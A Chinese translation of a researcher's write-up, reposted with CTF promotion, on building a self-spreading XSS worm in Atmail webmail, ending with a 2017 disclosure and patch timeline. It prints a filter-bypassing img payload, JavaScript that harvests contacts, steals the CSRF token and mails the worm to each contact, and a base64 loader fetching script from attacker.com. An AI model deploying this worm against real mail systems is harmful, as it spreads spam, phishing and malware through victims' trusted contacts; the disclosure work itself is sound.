国庆快乐^^如何在Atmail上构建XSS蠕虫

Posted 安恒网络空间安全讲武堂

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了国庆快乐^^如何在Atmail上构建XSS蠕虫相关的知识,希望对你有一定的参考价值。


回复“微信群”即可加入微信群,更有每周一次的精彩 线上对抗比赛哦!群内有来自上海交大战队的大神,有来自代码审计的“乐清小俊杰”,还有曾经429首都安全日的神秘出题人!快来提问吧

重要通知 NO.1
自明天(国庆节)起,公众号会不定期推出“公众号趣味小游戏ctf”,免费91ctf学习账号,比赛账号以及领取免费书籍、电影票、视频购买优惠券、在线直播现金抵用券、CTF大佬和高级漏洞研究员的亲笔签名T恤

1

如何在Atmail上构建XSS蠕虫


如何在Atmail上构建XSS蠕虫


翻译:王敏伟

转载请注明出处和链接

 

这篇博客文章由高级安全分析师Zach Julian撰写; 你可以在Twitter上与他联系。

Atmail是云端和本地电子邮件托管的受欢迎的提供商。

作为DreamHost的atmail用户,在我工作期间,我看到了几个令人印象深刻的电子邮件跨站点脚本(XSS)攻击,我试图在他们的webmail前端找到一个xss漏洞。 几个小时后我发现了一个有效载荷,但是想更进一步的利用他。 最着名的XSS蠕虫病例在2005年影响了MySpace ,2014年的TweetDeck更新版本更新。

在这篇文章中,我将展示构建一个通过受害者联系人传播的XSS有效载荷的蠕虫测试。

测试环境

在开始之前,我准备了一个简单的测试环境。 使用以下命令发送电子邮件,将存在的的XSS payload插入到邮件中:


cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com


然后我使用Firefox开发工具来查看XSS payload是如何在webmail客户端的DOM中呈现的。

构建和测试XSS payload的过程


第一步是构建一个XSS payload,可以完整地运行atmail的内容过滤。我开始发送一封包含每个有效的HTML标签的电子邮件,以查看哪些邮件传递后仍然保留,尽管我最终决定使用<img>标签。虽然<img>很好地构建XSS有效载荷,但其缺点是受害者必须在XSS触发之前决定在atmail内“显示图像”。可以使用标签来开发更好的有效载荷,而不需要进一步的用户交互。

接下来,我开始记录了邮件如何清理我的有效载荷。我需要观察atmail如何处理<img>标签中的字符和HTML属性,以避免过滤器并在受害者的浏览器中呈现语法正确的标签。通过发送包含每个有效属性(1)的<img>标签,我注意到只允许src,alt,longdesc,style,height和width属性。另外,我注意到对我的有效载荷的几个修改,例如将单引号转换为双引号,删除onerror事件,以及删除没有src属性的任何<img>标记。

虽然onerror事件被删除,我怀疑单引号转换为双引号可能有助于避免白名单,如果两者都在<img>标签中使用。最后,这个怀疑证明是正确的,虽然我不得不在两个<img>标签之间使用一组双引号。以下是工作的XSS有效载荷:


1

< img longdesc = "src='x'onerror=alert(document.domain);//><img " src = 'showme' >

这在webmail客户端中呈现如下:


1

< img longdesc = "src=" images = "" stop . png "=" " onerror=" alert ( document . domain ) ; //&quot;" alt="showme">

在浏览器提交之前,没有查看应用程序源代码,我们是无法准确知道对我的有效载荷被服务器进行了什么处理。 然而,似乎atmail以这样的方式解释单引号和双引号,即使两个<img>标签组合成一个。 在longdesc属性中包含onerror事件,允许它通过内容过滤器,并在处理后正确呈现XSS。

【国庆快乐^^】如何在Atmail上构建XSS蠕虫

构建蠕虫

找到可以用的的XSS向量后,下一步是创建一个可以
传播我的电子邮件蠕虫xss payload 我写了一些javascript代码
分三步:

     提取受害者的联系人列表

     从atmail获取有效的CSRF令牌

     向每个受害者的联系人发送电子邮件

此代码类似于以下内容,XSS有效内容包含在URL编码文本块中:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

//HTTP request to grab victim's contacts

xmlHttp = new XMLHttpRequest ( ) ;

xmlHttp . open ( 'GET' , '/index.php/mail/contacts/viewcontacts/GroupID/0' , false ) ;

xmlHttp . send ( null ) ;

response = xmlHttp . responseText ;

 

//Extract email addresses and filter duplicates

var extractedemails = response . match ( /[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/i gm ) ;

var uniqueemails = [ ] ;

for ( var i = 0 ; i < extractedemails . length ; i ++ ) { if ( uniqueemails . indexOf ( extractedemails [ i ] ) == - 1 ) uniqueemails . push ( extractedemails [ i ] ) ; }

 

//HTTP request to get CSRF token

xmlHttp . open ( 'GET' , '/index.php/mail/contacts' , false ) ;

xmlHttp . send ( null ) ;

response2 = xmlHttp . responseText ;

var csrftoken = response2 . match ( /name=\"atmailCSRF" value=\"(.+?)\"/i m ) ;

 

//Loop through contacts and send email

for ( var i = 0 ; i < uniqueemails . length ; i ++ ) {

xmlHttp . open ( 'POST' , '/index.php/mail/composemessage/send' , false ) ;

var params = 'atmailCSRF=' + csrftoken [ 1 ] + '&emailTo=' + unique [ i ] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e' ;

xmlHttp . setRequestHeader ( 'Content-type' , 'application/x-www-form-urlencoded' ) ;

xmlHttp . send ( params ) ;

起初,我尝试对这个JavaScript的一个最小化版本进行Base64编码,并将其包含在XSS有效载荷的onerror事件中。 然后使用eval(atob())对其进行解码和执行,如下所示:


1

< img longdesc = " xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src = 'showme' >

不过,我注意到,atmail将我的Base64字符串限制为945个字符,太短。 而不是将整个脚本包含在onerror事件中,我将其托管在外部位置,然后重写了我的XSS有效载荷,如下所示:


1

onerror = "include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"

上面显示的有效载荷会在以下标签中创建一个新的<script>标签
<head>页面元素,包括我的恶意
外部托管的JavaScript。 这也是Base64编码的
最终有效载荷如下:

1

< img longdesc = "src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src = 'showme' >

一切都搞定后,蠕虫已经开始运作了。 下面这个视频演示了它的整个逻辑过程:
atmail上的XSS蠕虫将有利于垃圾邮件发送者和其他恶意软件
谁将受益于操纵受害者发送的行为者
任意消息到他们的联系人列表。 因为它的病毒性质
以及与已知的电子邮件相关联的附加信任
联系,这种攻击将非常适合垃圾邮件,恶意软件传递或
  网路钓鱼攻击
披露时间表:发现这个漏洞后,我开始负责与邮件公开程序。 到2017年5月25日,他们得到了补救
  这个问题可以通过升级到atmail版本7.8.0.2来修补。
     2017-02-24 - 漏洞报告

     2017-02-27 - 报告承认

     2017-05-25 - 补丁发布


原文:https://www.bishopfox.com/blog/2017/06/how-i-built-an-xss-worm-on-atmail/





1




1

64linux下栈溢出漏洞利用






2

如何提交flag?


3

flag能干什么?

正如文章开头所说,flag可以用来兑换书籍、资料、免费账号、研究员亲笔签名T恤等,当然还能换小编我的自拍招,- - 只要你们不嫌弃我丑(我还是个实习生阿!这么出卖我...老娘想哭T_T)。


4

快去发现你的flag吧!

快去回复留言吧!小编偷偷告诉你,回复“ls” 就是获取flag的第一步哦^^。





关注“安恒网络空间安全武讲堂”并坚持每天转发文章即可获得安恒信息91ctf.com在线学习账号。

什么是91ctf?

91ctf是安恒信息技术有限公司推出的一个学习平台,其主要亮点功能就是在线课程和ctf竞赛啦!


加入微信群 一起讨论安全问题吧!(不准撩小编)

复制链接以下链接


https://support.weixin.qq.com/cgi-bin/mmsupport-bin/addchatroombyinvite?ticket=ATz%2FggNt4khHXcshV83BEQ%3D%3D&exportkey=AS1CYHC8km6h1yHcfsQVqv4%3D&lang=zh_CN&pass_ticket=DXgR6dgj1btyYIUMO%2FdmOROYDbhbrCPyU7ghxTHWJwI%3D&wechat_real_lang=zh_CN







以上是关于国庆快乐^^如何在Atmail上构建XSS蠕虫的主要内容,如果未能解决你的问题,请参考以下文章

如何通过 XSS 获取受 http

实战储存XSS+CSRF(XSS绕过到蠕虫攻击)

实战储存XSS+CSRF(XSS绕过到蠕虫)

技术讨论 | 记一次XSS蠕虫渗透实验

今年的中秋节就这样过

“新浪微博”爆发了XSS蠕虫攻击,是怎么回事?